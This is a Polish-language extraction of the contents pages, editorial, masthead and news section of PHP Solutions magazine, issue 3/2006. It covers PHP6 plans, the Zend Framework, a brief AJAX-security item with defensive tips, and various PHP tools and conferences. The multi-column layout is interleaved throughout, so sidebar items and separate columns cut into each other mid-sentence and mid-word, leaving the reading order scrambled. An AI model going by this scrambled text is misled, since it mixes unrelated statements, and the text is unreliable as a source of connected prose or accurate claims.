You are on page 1of 84

Spis treści

POCZĄTKI
Co nowego w PHP6? 18
Richard Davey
Jedenastego listopada, 2005 roku w Paryżu odby-
Będzie się działo... ło się spotkanie twórców platformy PHP. Kluczo-
wym elementem spotkania była dyskusja nad wy-

C oś wisi w powietrzu – chciało by się rzec. Wielki-


mi krokami zbliża się PHP6, Oracle kupuje Zenda
– jedyną prawdziwą „firmę od PHP”, a Microsoft szko-
znaczeniem przyszłych kierunków rozwoju dla tej
technologii.

li i egzaminuje deweloperów technologii Open Source,


w tym PHP. Już teraz w siedzibach Microsoftu na ca-
łym świecie możemy zdobyć tytuł Zend Certified En- TECHNIKI
gineer. Czy nadchodzi więc rewolucja? Czy wydarze- Strumieniowa transmisja
nia te zwiastują jakieś zmiany? I tak i nie. PHP6 nie przyniesie totalnie dźwięku przez HTTP
przełomowych rozwiązań. Będzie to raczej ewolucja, ale starannie za- z wykorzystaniem Ampache 22
planowana, przemyślana i jak najbardziej potrzebna. O tym, co się zmie- Karl Vollmer
ni w PHP, a co nie, przeczytacie w artykule Richarda Davey'a, Co nowe- Do stworzenia portalu multimedialnego nie trze-
go w PHP6? ba drogich, komercyjnych, wydzielonych serwerów.
Z drugiej strony, mianem rewolucyjnego przedsięwzięcia określiłbym Wystarczą PHP, serwer Apache oraz baza MySQL.
Zend Collaboration Project, a w szczególności Zend PHP Framework.
Faktem jest, że kolejne frameworki dla PHP powstają prawie jak grzyby Wzorce projektowe w akcji,
po deszczu, ale wybór odpowiedniego narzędzia nadal jest bardzo trudny czyli ciąg dalszy Niezbędnika
i często kończy się porażką, szczególnie w przypadku programistów, któ- dewelopera PHP 28
rzy po takie rozwiązanie sięgają po raz pierwszy. Zend PHP Framework Piotr Szarwas
jest szansą dla deweloperów na wybór profesjonalnego, solidnego i rozwi-
Czytelny i przejrzysty kod. Elastyczna i w każ-
janego narzędzia z odpowiednim wsparciem ze strony deweloperów. Na
dym momencie gotowa na rozbudowę archi-
pewno zainteresuje się nim wiele firm, którym brakowało do tej pory dobre- tektura. Bogata, dne omówione w tym artykule
go frameworka klasy Enterprise. wzorce projektowe.
Rozczarowuje natomiast druga część Zend Collaboration Project:
Zend Developer Zone. W zamyśle twórców miało być to Centrum dla
Deweloperów PHP. Już teraz znajdziemy tam ciekawe artykuły, m.in.
o wzorcach projektowych, ale po wejściu na forum zamiast prawdziwej
NARZĘDZIA
dyskusji deweloperów zastaniemy już tylko puste reklamy komercyjnych Projekt eyeOS: rewolucja
produktów Zenda, co źle wróży całemu przedsięwzięciu. Pozostaje mieć w interfejsach webowych PHP 36
tylko nadzieję, że takie Centrum kiedyś powstanie, jak nie teraz to w naj- Steven Mautone i Pau Garcia-Milà
bliższej przyszłości. Wyobraźmy sobie, że nasze aplikacje webowe są
Pustki z całą pewnością nie zastaniecie w magazynie PHP Solutions. elastyczne i umożliwiają uruchamianie wielu aplikacji
W obecnym wydaniu przeczytacie ciekawy wywiad z Ilia Alshanetskym, w jednym oknie przeglądarki – w ramkach o dowol-
dowiecie się, jak zbudowano pierwszy system operacyjny w PHP i przeko- nym rozmiarze, które można przeciągać, minimali-
nacie się, że małżeństwo PHP i Pythona daje wiele korzyści. Powiemy też zować i przywracać. Wyobraźmy sobie pulpit WWW
o streamingu audio z poziomu PHP, zatruwaniu sesji i przedstawimy trzy z paskiem zadań i koszem na śmieci...
kolejne wzorce projektowe.
DBDesigner 4 odpowiednik Oracle
Gorąco zapraszam do lektury Designera 42
Pierre Hebel
Poprawne modelowanie danych jest gwaran-
cją skuteczności podczas formuowania zapytań
Nasz magazyn ukazuje się w czterech językach! do waszej bazy danych. DBDesigner 4 pozwala
mieć globalny, graficzny i bardzo precyzyjny wi-
polskim niemieckim francuskim włoskim dok szczególnie na dużych strukturach danych.

Lokalizacja w PHP
przy użyciu standardu TMX 50
Nicola Asuni
Wyobraź sobie, że jesteś głównym programistą w ze-
spole budującym olbrzymią aplikację, która jako pro-
dukt przeznaczony na rynek globalny musi wspierać
dziesięć różnych języków. Dzięki TMX podczas tłu-
Jeśli jesteś zainteresowany zakupem licencji na wydawanie naszych pism prosimy o kontakt: maczeń nie pojawią się żadne „przypadkowe” błędy,
Monika Godlewska monikag@software.com.pl tel.: 48 22 887 12 66, fax: 48 22 887 10 11 zaś Twój kod pozostanie nienaruszony.

4 www.phpsolmag.org PHP Solutions Nr 3/2006


Spis treści
PROJEKTY
ImageVault:
Ograniczanie dostępu do plików
multimedialnych w PHP 56
Patrick O’Brien Pytania dotyczące
prenumeraty
Każdy chyba ma jakieś prywatne zdjęcia, który- tel. (22) 887 14 44
mi chciałby się podzielić, ale które wolałby jed- e-mail: pren@software.com.pl
nocześnie ukryć przed wścibskim ogółem inter- Software Wydawnictwo Sp. z o.o.
nautów. Cel ten można łatwo osiągnąć. dział prenumeraty
ul. Piaskowa 3
Mariaż Pythona i PHP. 01-067 Warszawa
Tworzymy interfejs graficzny CD Strona WWW/Forum
z wykorzystaniem SOAP 62 tel. (22) 887 14 44 strona www: www.phpsolmag.org
e-mail: cd@software.com.pl Tu znajdą Państwo informacje
Krzysztof Sobolewski dotyczące aktualnych i przyszłych
Software Wydawnictwo Sp. z o.o.
PHP słynie z oprogramowania serwerowego, Defekty CD/DVD numerów magazynu PHP Solutions.
Python – z możliwości łatwego tworzenia roz- ul. Piaskowa 3
budowanych aplikacji klienckich, Łacząc możli- 01-067 Warszawa Forum: www.phpsolmag.org/newforum
Zachęcamy do dyskusji na naszym
wości obu języków w prosty sposób otrzymamy
Zamówienia forum. Czekamy na propozycje
potężną i funkcjonalną aplikację typu klient-ser- /Numery archiwalne tematów, które chcieliby Państwo
wer. tel. (22) 887 14 44 znaleźć w najbliższym numerze pisma.
e-mail: pren@software.com.pl Zapraszamy także do wymiany
sklep on-line: www.shop.software.com.pl poglądów z innymi fanami PHP.
BEZPIECZEŃSTWO Kontakt z redakcją Cena
e-mail: redakcja@phpsolmag.org Prenumerata: 135 zł
Techniki zatruwania sesji Software Wydawnictwo Sp. z o.o. Przelew na konto nr:
w PHP 72 Redakcja PHP Solutions 46 1440 1299 0000 0000 0391 8238
Jakub Mrugalski ul. Piaskowa 3 Nordea Bank Polska S.A.
01-067 Warszawa II Oddział w Warszawie
Słyszałeś o przechwytywaniu i modyfikowaniu
zmiennych POST, GET i COOKIES i myślisz,
Wyróżnieni betatesterzy: Krzysztof Trynkiewicz, Kamil Kaczmarczyk, Łukasz Witczak,
że wystarczy zamiast z nich korzystać z sesji, Łukasz Jasiński, Tomasz Skaraczyński, Przemysław Sobstel.
aby odgrodzić się murem od niebezpieczeństw.
Rzeczywistość jest znacznie gorsza: to, co wy-
daje się być ścianą warowni, jest zaledwie para-
wanem, który bardzo łatwo naruszyć. PHP Solutions jest wydawany przez Software-Wydawnictwo Sp. z o.o.

Dyrektor Wydawniczy: Jarosław Szumski


Market Manager: Sylwia Tuśnio sylwia.tusnio@software.com.pl
Product Manager: Maciej Krawcewicz maciej.krawcewicz@phpsolmag.org

PEAR Redaktor prowadzący: Dariusz Pawłowski dpawlowski@phpsolmag.org


Redaktor : Krzysztof Sobolewski krzysztof.sobolewski@phpsolmag.org
Stali współpracownicy: Paweł Kozłowski pkozlowski@phpsolmag.org, Paweł Grzesiak pgrzesiak@phpsolmag.org
Generowanie kodu XML Kierownik produkcji: Marta Kurpiewska marta@software.com.pl
za pomocą XML_Serializer 76 Projekt okładki: Agnieszka Marchocka
Skład i łamanie: Sławomir Zadrożny slawekz@software.com.pl
Aaron Wormus Dział reklamy: adv@software.com.pl
Prenumerata: Marzena Dmowska pren@software.com.pl
W artykule pokażemy zastosowanie PEAR-owy Nakład: 6 000 egz.
pakiet do generowania dokumentów XML.
Adres korespondencyjny: Software-Wydawnictwo Sp. z o.o.,
ul. Piaskowa 3, 01-067 Warszawa, Polska
tel. +48 22 887 10 10, fax +48 22 887 10 11
www.phpsolmag.org cooperation@software.com.pl
VARIA
Dołączoną do magazynu płytę CD przetestowano programem AntiVirenKit firmy G DATA Software Sp. z o.o.
Wywiad z Ilią Alshanetskym 16
Redakcja dokłada wszelkich starań, by publikowane w piśmie i na towarzyszących mu nośnikach informacje
Dariusz Pawłowski i programy były poprawne, jednakże nie bierze odpowiedzialności za efekty wykorzystania ich; nie gwarantuje
także poprawnego działania programów shareware, freeware i public domain.
Uszkodzone podczas wysyłki płyty wymienia redakcja.
Aktualności 6 Wszystkie znaki firmowe zawarte w piśmie są własnością odpowiednich firm
i zostały użyte wyłącznie w celach informacyjnych.

Redakcja używa systemu automatycznego składu


Do tworzenia wykresów i diagramów wykorzystano program firmy
Opis CD 12
Osoby zainteresowane współpracą prosimy o kontakt: cooperation@software.com.pl

Druk: ArtDruk

Recenzje 59 Wysokość nakładu obejmuje również dodruki. Redakcja nie udziela pomocy technicznej w instalowaniu
i użytkowaniu programów zamieszczonych na płytach CD-ROM dostarczonych razem z pismem.
Sprzedaż aktualnych lub archiwalnych numerów pisma po innej cenie niż wydrukowana na okładce
Listingi wszystkich opisywanych programów zo- – bez zgody wydawcy – jest działaniem na jego szkodę i skutkuje odpowiedzialnością sądową.
stały zamieszczone na naszej stronie interneto-
Pismo ukazuje się w następujących wersjach językowych:
wej www.phpsolmag.org/pl. polskiej , francuskiej , niemieckiej oraz włoskiej .

PHP Solutions Nr 3/2006 www.phpsolmag.org 5


Aktualności

Million Dollar Homepage


Student z Wielkiej Brytanii zarobił ponad milion PHP Collaboration Project: Zend PHP Framework

T
dolarów sprzedając pod reklamę powierzch-
rudno połapać się w gąszczu tak
nię miliona pikseli na swojej stronie WWW. Na
ostatniej aukcji sprzedał ostatnie tysiąc pikse- wielu dostępnych w sieci framewor-
li za ponad 38 tyś dolarów. Wykupione reklamy ków dla PHP, szczególnie początkują-
będą wisieć na stronie przez najbliższe pięć lat.
Reklamodawcy mogą być zadowoleni – stronę cym i średniozaawansowanym progra-
odwiedza dziennie ok. 500 tyś użytkowników. mistom PHP. Nie wiadomo, które roz-
Jest to kolejny dowód na szybki i łatwy sukces
w dobie wszechogarniającego Internetu. Stu- wiązanie wybrać, które okaże się ła-
dent zakończył naukę i postanowił zainwesto- twe w nauce i intuicyjne, czy w końcu,
wać zdobyte pieniądze.
jakie są zastosowania konkretnego na-
http://www.milliondollarhomepage.com/
rzędzia. Sen z powiek spędzają obawy,
Oracle przejmuje PHP że czas potrzebny na naukę danego fra-
Pojawiły się informacje, że Oracle postanowił
kupić 3 firmy tworzące oprogramowanie Open meworka okaże się stracony lub wybra- JSON, tak aby następnie wykorzystać
Source: JBoss, Zend Technologies i Sleepycat. ny projekt zostanie zawieszony i nie bę- je z poziomu AJAX-a),
Ma to związek z rosnącym zainteresowaniem
narzędziami i produktami Open Source wśród
dzie dalej rozwijany. • Zend_Mail i Zend_Mime (obsługa
klientów korporacyjnych Oracle. Na szczęście ukazał się długo poczty),
http://news.com.com/2061-10795_3- oczekiwany framework firmy Zend. Mi- • Zend_Pdf (generowanie PDF-ów
6037727.html
mo że projekt jest nowy i znajduje się w locie),
The New York PHP w fazie beta, to jednak sprawdzony, so- • Zend_HttpClient (klient protokołu
Conference & Expo 2006 lidny i stworzony przez znanych dewe- HTTP),
W dniach 14-16 lipca w Nowym Yorku odbędzie
się konferencja poświęcona w głównej mierze
loperów PHP z wykorzystaniem najlep- • Zend_Search_Lucene (silinik wyszu-
zastosowaniom PHP w biznesie. Trzy dni sesji, szych praktyk programistycznych. Jed- kiwarki napisany na podstawie po-
wykładów, warsztatów i targów mają podkreślić nym słowem, projekt, któremu można z dobnego projektu w Javie).
rolę PHP w biznesowych aplikacjach Open So-
urce. Nie zabraknie też czysto technicznych wy- pewnością zaufać i zainwestować czas
kładów dla deweloperów, które poświęcone bę- w jego rzetelne poznanie. Wśród do- Zend Framework razem z Zend Developer
dą rozwiązaniom tworzonym w PHP i dla PHP.
Magazyn PHP Solutions jest patronem medial- stępnych komponentów można wymie- Zone i Eclipse PHP IDE tworzą PHP Colla-
nym konferencji. nić m.in.: boration Project, który ma na celu podnie-
http://www.nyphpcon.com/
sienie jakości programowania i oprogramo-
Web Technology • Zend_Controller oraz Zend_Viev (fun- wania Open Source tworzonego w PHP.
conference and Expo dament dla MVC),
W dniach 30 czerwca – 1 lipca w Bułgarii odbę- • Zend_db (dostęp do bazy danych Licencja: http://framework.zend.com/
dzię się trzecia edycja konferencji poświęconej
technologiom internetowym mającym zastoso- oparty na PDO), framework_license_1.0.txt
wanie w biznesie i edukacji. W ramach wykła- • Zend_Json (odpowiedzialny za kon- http://www.zend.com/php_collabora-
dów omówione zostaną tendencje i główne kie-
runki rozwoju technik internetowych, takich jak
wertowanie struktur PHP na format tion_project
PHP, .NET czy Apache::ASP.
http://wtconferences.com/2006/

PHP Conference UK PHP Collaboration Project: Zend Developer Zone

N
Dnia 10 lutego w Londynie odbyła się krót- ie ma chyba jednego miejsca bę-
ka konferencja w całości poświęcona języko-
wi PHP. Prelegentami byli Matt Zandstra (The dącego sieciowym centrum dla de-
Template Path), Derick Rethans (The eZ PHP weloperów PHP. Jest kilkanaście god-
Components Library – Object Oriented PHP),
nych uwagi portali o PHP, gdzie znaj-
Christopher Kunz (PHP Security Holes and the
Hardened PHP Project), Harry Fuecks ("AJA- dziemy trochę newsów czy przykładów.
X@localhost") i Paweł Kozłowski (Dependen- Są też miejsca, w których informacji mo-
cy Injection with PHP – Object Oriented PHP)
– nasz stały współpracownik i autor wielu opu- gą szukać profesjonaliści – np. sitepo-
blikowanych u nas artykułów. int.com czy blogi znanych deweloperów
Magazyn PHP Solutions był patronem medial-
nym imprezy. PHP. Trudno jednak nie odnieść wraże- Z drugiej strony na forum dyskusyj-
http://www.phpconference.co.uk/2006/ nia, że to tylko “kolejne” strony o PHP. nym Zend Developer Zone widać jedy-
W efekcie, żeby znaleźć konkretne infor- nie topiki związane z komercyjną dzia-
JSON macje, zasypujemy hasłami przeglądar- łalnością firmy Zend (Zend Studio, Zend
(JavaScript Object Notation)
JSON to lekki format wymiany danych, który w kę google.com. Platfrom, Zend core for IBM itd.), co źle
odróżnieniu od XML-a może być przetwarzany w Tak jednak być nie musi: Zend wy- wróży całemu przedsięwzięciu. Miejmy
języku JavaScript w łatwy sposób (z wykorzysta-
niem wbudowanej funkcji eval() ). JSON jest szedł z ciekawą i potrzebną inicjatywą jednak nadzieję, że Developer Zone sta-
szczególnie przydatny przy wymianie danych w stworzenia Developer Zone dla progra- nie sie popularne i będzie cennym źró-
aplikacjach opartych o AJAX. Jest szybszy i ła-
twiejszy do parsowania niż XML. Wielu dewelope-
mistów PHP. Już teraz możemy znaleźć dłem informacji dla deweloperów PHP.
rów uważa, że jest bardziej naturalny od XML-a, tam sporo ciekawych artykułów, np.: Cho- Miejsce w sieci, które stałoby się cen-
inni twierdzą, że jego skąpa notacja jest myląca. osing the Right PayPal Solution, czy se- trum dla programistów PHP jest czymś
Format JSON wykorzystywany jest już przez
nowy Framework Zenda (zawiera komponent rię PHP Patterns, której autorem jest Matt czego naprawdę obecnie brakuje.
Zend_Json, odpowiedzialny za konwertowanie Zandstra.
struktur PHP na JSON, aby potem można było
skorzystać z AJAX-a) Jest też miejsce na tutoriale (póki co,
http://json.org/ nie ma ich za dużo) i przykładowe skrypty. http://devzone.zend.com/

6 www.phpsolmag.org PHP Solutions Nr 3/2006


Aktualności

PHPUnit 3.0
PHP-Qt, czyli graficzne interfejsy nie z tej Ziemi W nowej wersji PHPUnit, która ma ukazać się

P
w najbliższym czasie, przewidziano między in-
HP-Qt to nowe rozszerzenie dla PHP 5
nymi wsparcie dla Mock Objects (imitacji obiek-
pozwalające na wykorzystanie biblioteki tów), dzięki którym możliwe jest symulowa-
Qt i tworzenie zaawansowanych interfejsów nie dowolnych klas poprzez tworzenie ich imi-
tacji, co ułatwia przeprowadzanie testów jed-
graficznych w PHP. Qt jest w pełni obiekto- nostkowych. Wiele ulepszeń powstało pod-
wą biblioteką stworzoną z myślą o C++, któ- czas Unit Testów dla Zend Framework. Prze-
widziano też wsparcie dla protokołu Test Any-
ra pozwala na wykorzystanie nowoczesnych thing Protocol (TAP). Wsparcie dla nowej wer-
technologii programowania GUI (mecha- sji PHPUnit szykują też deweloperzy PHPEclip-
se i Zend Studio.
nizmy sygnałów i slotów, widgety, systemy
http://www.sebastian-bergmann.de/blog
zdarzeń). Rozszerzenie PHP-Qt zapewnia
obiektowy interfejs dla frameworka Qt4. Aspect-Oriented
Do uruchomienia środowiska PHP-Qt Programming i PHP
AOP to paradygmat, według którego naj-
będziemy potrzebowali: ważniejsza jest modularyzacja i enkapsula-
cja kodu. Dla PHP powstają proste rozsze-
rzenia pozwalające stosować AOP, co jest
• PHP 5.1.1+, szczególnie zalecane przy dużych projek-
• Qt4 development/pliki nagłówkowe, tach. Do najważniejszych rozszerzeń moż-
• skompilowaną bibliotekę Qt4 . na zaliczyć: aoPHP (http://www.aophp.net/),
apsectPHP (http://www.cs.toronto.edu/
~yijun/aspectPHP/), phpaspect (http:
Niestety dokumentacja (http://doc.trolltech. //www.phpaspect.org/), AOP Library for
PHP (http://www.phpclasses.org/browse/
com/4.0/index.html) odnosi się tylko do sa- package/2633.html) czy Seasar.PHP (http:
mego Qt i jego wykorzystania z poziomu //www.seasar.org/)
języka C++. Archiwum PHP-Qt zawiera 6 Licencja: LGPL
SimpleTest kontra PHPUnit2
wprowadzających tutoriali. Projekt znajduje http://php-qt.berlios.de/ Blog Sebiastiana Bergmana, twórcy PHPUnit,
się jeszcze w fazie alfa. zawiera krótkie porównanie dwóch najważ-
niejszych i najbardziej znanych narzędzi do
przeprowadzania testów jednostkowych: Sim-
pleTest i PHPUnit. Znajdziemy tam odwoła-
PHOCOA – framework dla zaawansowanych nie do strony deweloperów frameworka Agavi,
którzy sprobowali użyć obu narzędzi, wybiera-

P HOCOA to w 100% obiektowy, stero-


wany zdarzeniami, oparty o kompo-
nenty i MVC framework dla PHP 5. Pro-
jąc ostatecznie SimpleTest. Swoje argumenty
podali na stronie: http://trac.agavi.org/trac.cgi/
wiki/UnitTested. Bergman polemizuje z tymi
argumentami.
jekt jest wzorowany na rozwiązaniach Ap- http://www.sebastian-bergmann.de/

ple'a: Cocoa i WebObjects.


Microsoft
PHOCOA wykorzystuje Smarty i szkoli deweloperów PHP
Phinga (http://phing.info). Zintegrowany Microsoft rozpoczął współprace z Zendem i
przeprowadza egzaminy na Zend Certified En-
jest z Propelem, FCK Editorem, Dynarch-
gineer. Gigant prowadzi też kompleksowe szko-
Menu CSS/JS Menu, czy z Dieselpoint lenia pod nazwą Cross Training for Web Deve-
(aplikacja w Javie do nawigacji i wyszu- lopers dla programistów PHP, JSP czy ColdFu-
sion. Na stronie znajdziemy tutoriale dla wymie-
kiwnia) co wymaga obecności PHP/Java nionych technologii, niestety raczej dla począt-
Bridge. kujących. Wygląda na to Microsoft nie odwraca
się od konkurencji, tylko bierze coraz większy
Framework oferuje bardzo wiele: od nych na strony i zaawansowane wyszuki- udział w rozwijaniu technologii, narzędzi i usług
mających ogromne zastosowanie i prak- wanie. Pozwala też na automatyczne ge- związanych z Open Source.
http://aspnet.cmp.com/
tycznych widgetów (Widget Toolkit), takich nerowanie kodu np. interfejsu użytkownika
jak WFTextField, WFTextArea, WFHTM- (Interface Builder) na podstawie obiektów Zostań Freelancerem
LArea) przez mechanizmy normaliza- z Propela. Oferuje rozbudowane mecha- od PHP, czyli PHP Job Links
cji, walidacji danych oraz kontroli błę- nizmy uwierzytelniania i autoryzacji. Na Jeśli szukasz pomysłów, jak wykorzy-
stać swoje umiejętności i zapał w tworze-
dów, aż po przyjazne URL-e. PHOCOA stronie projektu dostępna jest dokumen- niu aplikacji WWW, sprawdź stronę: http:
zapewnia też mechanizmy dowiązania tacja wraz z przykładami. Plany twórców //www.phpkitchen.com/index.php?/archives/
670-PHP-Freelance.html.
(ang. bindings), efektywne dzielenie da- frameworka są bardzo obszerne i ambit-
Znajdziesz tam oferty firm, które chętnie zatrud-
ne, m.in.: zmiany w architekturze, interna- nią Cie na zasadzie Freelancera. Warto odwie-
cjonalizacja, więcej przykładów i obszer- dzić wymienione na liście strony, chociażby po
to, by przekonać się, jakie projekty obecnie naj-
niejsza dokumentacja. Deweloperzy pro- częściej się rozwija i w co warto inwestować
jektu oferują też komercyjne wparcie. swoje umiejętności i czas.

IntSmarty
Licencja: MIT License IntSmarty to rozszerzenie dla systemu sza-
http://phocoa.com/ blonów Smarty pozwalające na łatwe tworze-
nie wielojęzycznych stron WWW. Ułatwia ono
http://developer.apple.com/cocoa/ wspólną pracę programistom, grafikom i tłuma-
http://developer.apple.com/tools/ czom. Rozszerzenie zostało stworzone przez
Johna Coggeshalla.
webobjects/index.html Licencja: Coggeshall.org
http://phing.tigris.org/ http://www.coggeshall.org/oss/intsmarty/

PHP Solutions Nr 3/2006 www.phpsolmag.org 7


Aktualności

Kupu i Bitflux, czyli edytory Bezpieczeństwo AJAX-a


na każdą przeglądarkę
Kupu i Bitflux to chyba jedyne edytory Open
Source typu WYSWIG wspierane zarówno
przez Internet Explorer, jak i Mozillę. Pierwszy
A JAX umożliwia tworzenie interaktyw-
nych i bogatych interfejsów webo-
wych, przez co stał się ostatnio ogromnie
czy przestrzegać kilku prostych, funda-
mentalnych zasad:
to edytor XHTML, drugi służy do edycji i wali-
dacji XML-a. Kupu łatwo integruje się z dowol- popularny i obecnie korzysta z niego co- • sprawdzać podatność na ataki SQL
nym systemem CMS, jest rozszerzalny i tworzy
czysty oraz zgodny ze standardem kod XHTML raz więcej aplikacji. injections,
(bazuje na CSS). Bitfluxowi pod względem Okazuje się jednak, że wykorzysta- • sprawdzać podatność na JavaSrcipt
funkcjonalnym również niczego nie można za-
rzucić. Obie pozycje są warte uwagi i polecenia. nie tej technologii może nieść poważne injections,
http://www.oscom.org/projects/ zagrożenia. • przenieść logikę biznesową na stronę
Do ataku agresor może wykorzy- serwera,
Zend Framework stać obiekt XMLHttpRequest, podglą- • przeprowadzać walidację danych,
w Gentoo Linux
Gentoo Linux to dystrybucja Linuksa z jednym z dając kod wyświetlonej strony (ustala- • sprawdzać nagłówki zapytań HTTP,
najbogatszych, jeśli nie najbogatszym repozyto- jąc, jaką stronę wywołujemy i jakie pa- • nie traktować każdego zapytania jako
rium pakietów. Każdy pakiet zainstalować moż-
na jednym poleceniem, system sam zatroszczy rametry przesyłamy) i wstrzykując od- prawdziwego.
się o zainstalowanie zależnych pakietów. Do re- powiedni skrypt. Można się jednak przed
pozytorium (drzewa portage) Gentoo trafił Fra-
mework Zenda i jest teraz dostępny dla wszyst-
tym bardzo łatwo zabezpieczyć, wystar- http://searchwebservices.techtarget.com/
kich użytkowników tej dysrybucji.
http://www.sebastian-bergmann.de/blog/
archives/581-Zend-Framework-in-Gentoo-Li-
nux.html
WinBinder v.0.43 alfa
ADOdb Active Record
ADOdb_Active_Record to narzędzie ORM (Ob-
ject Relation Mapping) podobne do Zend_
W inBinder to rozszerzenie dla PHP
4 i PHP 5 pozwalające na two-
rzenie natywnych aplikacji okienko-
Db_DataObject, tylko stworzone dla ADOdb. wych pod Windows. Pierwsze, co przy-
ADOdb_Active_Record odwzorowuje struktu-
rę bazy danych na klasy w kodzie PHP. Pozwa- chodzi na myśl, to podobieństwo do in-
la to w większym stopniu skupić się na danych nych narzędzi takich jak PHP-GTK. W
i kodzie PHP, a mniej na zapytaniach SQL.
Wiersz w tabeli odwzorowywany jest przez in- zakresie tworzenia samych interfejsów
stancję klasy PHP. Bez problemów mogą być WinBinder oferuje podobne możliwo-
również definiowane relacje. ADOdb_Acti-
ve_Record opiera się na wzorcu ActiveRecord.
ści co PHP-GTK: interfejs składamy z
Licencja: BSD, LGPL widgetów (ang. widgets), zdarzeń (ang.
http://phplens.com/lens/adodb/docs-active-re- events) i akcji (ang. actions). Tu jednak
cord.htm
podobieństwa się kończą. zadań czy np. klasy to łączenia zda-
php Free Chat W odróżnieniu od PHP-GTK, Win- rzeń z akcjami zdefiniowanymi przez
php Free Chat to prosty czat napisany w PHP.
Bazuje na plikach tekstowych i wykorzystu-
Binder pozwala na tworzenie kom- użytkownika (np. kliknięcie na przy-
je AJAX m.in do odświeżania strony. System pletnych aplikacji, a nie tylko interfej- cisk powoduje pojawienie się komu-
wykorzystuje CSS i jest łatwy w rozszerzaniu.
sów użytkownika. Pakiet oferuje więc nikatu). Winbinder umożliwia też two-
Można napisać własne style CSS, zmieniając
w ten sposób całkowicie wygląd interfejsu lub wszystkie możliwości PHP, a z drugiej rzenie aplikacji bazodanowych (SQLi-
stworzyć rozszerzenie pozwalające na przecho- strony zapewnia to co oferuje środo- te, MySQL).
wywanie danych np. w MySQL-u. Na stronie
domowej projektu można wypróbować wersję wisko Windows. WinBinder umożliwia W najnowszej wersji biblioteki wpro-
demonstracyjną aplikacji. nawet niskopoziomowy dostęp do za- wadzono kilka istotnych zmian. Projekt
Licencja: LGPL
http://www.phpfreechat.net/
sobów systemu (np. RAM), choć i tak zaopatrzono w nowy installer (doda-
najczęściej wykorzystywane są funkcje no m.in. :SQLite, FreeImage ) i zapew-
BLENC dla PHP 5 związane z implementacją GUI. Roz- niono nową strukturę folderów. Dodano
BLENC to rozszerzenie dla PHP 5 będące pro-
stym enkoderem pozwalającym na zakodowa- szerzenie opakowuje (ang. wrapping) i zmodyfikowano też kilka funkcji oraz
nie kodu źródłowego aplikacji z wykorzystaniem natywne funkcje Windows swoimi kla- naprawiono wiele błędów.
algorytmu Blowfish. Proces szyfrowania polega
na wywołaniu funkcji blenc_encrypt(), któ- sami i funkcjami. Mamy do dyspozy- Archiwum WinBindera zawiera
ra wczytuje kod źródłowy i generuje jego zaszy- cji klasy do tworzenia okienek, przyci- wszystko, co potrzeba. Znajdziemy tam
frowaną wersję. Rozszerzenie dostępne jest w
sków, pól tekstowych, menu, pasków binaria, jak i kod źródłowy biblioteki.
repozytorium PECL.
Licencja: PECL Deweloperzy załączyli również manual
http://pecl.php.net/package/BLENC oraz kilka przykładów – od bardzo pro-
pecl_http stych, jak aplikacja Hello World, do bar-
Pakiet zapewnia rozszerzone wsparcie dla pro- dziej skomplikowanych, jak np. zalążek
tokołu HTTP. Wspiera URL-e, daty, przekie-
rowania, nagłówki, różne języki i kodowanie.
edytora GUI.
Umożliwia przesyłanie danych z cachowaniem
czy wznawianiem transferu np. po przerwaniu
połączenia. Może współpracować z CURL-em.
Klasy dla PHP 5: HttpUtil, HttpMessage, Htt-
pRequest, HttpRequestPool, HttpDeflateStre- Najnowsza wersja WinBindera może pra-
am, HttpInflateStream, HttpQueryString. Klasy
dla PHP 5.1: HttpResponse cować z PHP 5.1.1.
Licencja: PECL Licencja: BSD
http://pecl.php.net/package/pecl_http
http://pecl.php.net/package/winbinder

8 www.phpsolmag.org PHP Solutions Nr 3/2006


Aktualności

PHP 4.4.2 i PHP 5.1.2 Data Access Object (DAO)


Code Generator

M imo, że PHP w wersji piątej już od


jakiegoś czasu dominuje na serwe-
rach, nie zanosi się póki co, na zamknięcie
serwerach nielinuksowych; naprawienie
ponad 30 innych błędów.
W PHP 5.1.2 również wprowadzono
DaoGen to generator kodu źródłowego dla klas
DAO na bazie wzorca projektowego DAO. Ma
za zadanie ułatwić pisanie aplikacji bazodano-
wych i uwolnić programistę od pisania podsta-
czwartej linii języka. Jej kolejne wersje wy- kilka bardzo istotnych zmian: naprawio- wowych funkcjonalności dla każdej tabeli w ba-
zie danych. W chwili obecnej narzędzie generu-
dawane są regularnie, podobnie jak PHP 5. no pojawiające się w pewnych sytuacjach je kod dla PHP i Javy. Na stronie projektu ma-
Do najważniejszych zmian w PHP błędy związane z podatnością na ataki my możliwość przetestowania narzędzia.
Licencja: BSD
4.4.2 można zaliczyć: usunięcie proble- XSS; rozszerzenia Hash i XMLWriter zo- http://titaniclinux.net/daogen/
mu związanego z możliwością przepro- stały dodane do dystrybucji jako domyślne;
wadzenia ataków XSS w konkretnych sy- zaktualizowano rozszerzenie OCI8; na- EZPDO, lekkie ORM dla PHP
EZPDO to narzędzie ORM dla PHP 5 stwo-
tuacjach; usunięcie problemów z funkcja- prawiono ponadto 85 różnych błędów. rzone w duchu Javowego projektu Hiberna-
mi key() and current(); naprawienie błęd- te. “EZ” w nazwie oznacza “EASY” -- w odróż-
nieniu od innych pakietów ORM ma być prost-
nego funkcjonowania PHP z Apache 2 na http://www.php.net sze i bardziej przyjazne dla programisty. Narzę-
dzie wprowadza własny język: EZOQL (The mi-
ni object query language), który odpowiednio
FUDforum – najlepsze darmowe forum w PHP? rozszerza SQL-owy SELECT. Doskonałą re-
komendacją dla EZPDO może być jego zasto-

Z całą pewnością FUDforum jest jed- Interfejs administratora jest dość sowanie we frameworku PRADO czy Symfo-
ny. Na stronie projektu znajdziemy dobrą do-
nym z najlepszych systemów for rozbudowany (i przez to niestety ma- kumentację, tutoriale, FAQ oraz forum dysku-
dyskusyjnych napisanych w PHP, w ło przejrzysty) i przygniata dużą ilością syjne. W najnowszej wersji 1.1.0 zaimplemen-
towano wsparcie dla transakcji i rozszerzono
szczególności pod względem bezpie- opcji. Administracja forum jest przez to składnię EZOQL.
czeństwa. Śmiało konkuruje z komer- nieco trudniejsza niż np. w przypadku Licencja: BSD
http://www.ezpdo.net
cyjnymi produktami takimi jak vBulletin phpBB. Drugim (i chyba ostatnim) minu-
czy Invision Power Board. Jego dosko- sem FUDforum jest kiepska szata gra- eZ Components
nałą rekomendacją jest fakt, że jest uży- ficzna, co może zniechęcać wielu użyt- Firma eZ systems, znana głównie ze swojego
CMS-a eZ publish, wypuściła pakiet eZ Compo-
wane w takich miejscach jak Zend Deve- kowników. nents będący platformą do tworzenia aplikacji
loper Zone, czy portale najważniejszych Reasumując: FUDforum oferuje na- klasy Enterprise. Pakiet składa się z niezależ-
